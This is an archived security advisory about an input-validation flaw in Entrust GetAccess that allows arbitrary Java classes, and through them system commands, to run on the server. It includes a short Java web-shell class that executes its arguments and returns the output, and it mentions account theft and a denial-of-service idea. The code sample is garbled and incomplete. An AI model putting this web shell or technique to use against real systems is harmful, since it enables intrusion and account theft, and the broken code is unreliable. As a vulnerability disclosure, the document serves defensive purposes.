Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Web :: Apps :: entrust.htm

Entrust execute arbitrary code





    "rudi  carell"  found  following.   getAccess[tm]  is  used  as  a
    single-sign-on system often used for large internet-portals.

    Entrust GetAccess[tm] offers  the most comprehensive  solution for
    consistently deploying and  enforcing basic and  enhanced security
    across  online  applications,  from  Web  browsers,  to enterprise
    applications and legacy database systems.

    Due  to  missing  input-validation  it  is  possible to run(start)
    java-programs on  the "getaccess"-machine.   Combined with  public
    accessibly uploads or any other possibility to create  class-files
    on the server this vulnerability  c ould be used to  run arbitrary
    system  commands  on  the  target  machine  (or  change  getAccess
    parameters and steal any user ac count you want BTW).

    It  should  also  be  possible  (but  not  proven  yet) to exploit
    default-,install- or demo classes  within Java or getAccess  which
    would    make    the    file-upload(creation)    part    unneeded!
    (uninstall.class is very likely an effective DOS).

    Example  (find  exploitable  getAccess-class  [one  which  accepts
    params!] or upload a "command" programm):

        public class cmd {
        public static void main(String args[]) {
        s = null;
        try {
        Process p = Runtime.getRuntime().exec(args[0]+" "+args[1]);
        BufferedReader stdInput = new BufferedReader(new
        BufferedReader stdError = new BufferedReader(new
        System.out.println("Content-type: text/html\n\n");
        while ((s = stdInput.readLine()) != null) { System.out.println(s); }
        while ((s = stdError.readLine()) != null) { System.out.println(s); }
        catch (IOException e) { e.printStackTrace(); System.exit(-1); }
        } }

    Later then .. a http-request to :


    .. will run "/whereever/cmd.class" and execute "/bin/ls -alsi".


    This vulnerability has  been confirmed by  Entrust and a  patch is
    forthcoming.  Detailed information  on this issue has  been posted
    to the  Entrust customer  extranet on  both the  Entrust GetAccess
    Portal and the Entrust Customer Support Extranet:

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH